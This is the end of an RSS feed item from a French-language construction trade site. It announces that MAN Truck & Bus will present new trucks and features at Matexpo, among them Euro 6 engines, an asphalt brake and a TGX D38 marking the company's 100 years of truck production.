				<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://btp-dz.com/wp-content/uploads/2015/10/man-tgx-d38.jpg"><img class="alignleft size-full wp-image-6840" src="http://btp-dz.com/wp-content/uploads/2015/10/man-tgx-d38.jpg" alt="man tgx d38" width="782" height="562" /></a>Man Truck &amp; Bus ne ratera pas l’occasion d’un événement incontournable où il présentera sa dernière nouveauté camion au multi-essieux dédiée au secteur de la construction, en général constituant son domaine d&rsquo;action privilégié. D’autres nouveautés sont attendues à Matexpo. On notera la deuxième génération de moteurs Euro 6, plus économes et associés au système Top Torque qui fournit 200 Nm de couple supplémentaire en 11e et 12e vitesses ; un nouveau « frein asphalte » qui permet de se passer d’un rapport de boîte extra lent et se destine principalement au secteur du béton de l’asphaltage ; un système équipant les véhicules à 3 et 4 essieux qui freine les roues arrière intérieures en virage afin de réduire le rayon de braquage. Mais la grande attraction sera sans conteste le TGX D38 décoré spécialement pour fêter le 100e anniversaire de la production de camions chez Man.</p>
]]></content:encoded>
			<wfw:commentRss>http://btp-dz.com/tgx-d38-pour-marquer-le-100e-anniversaire/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
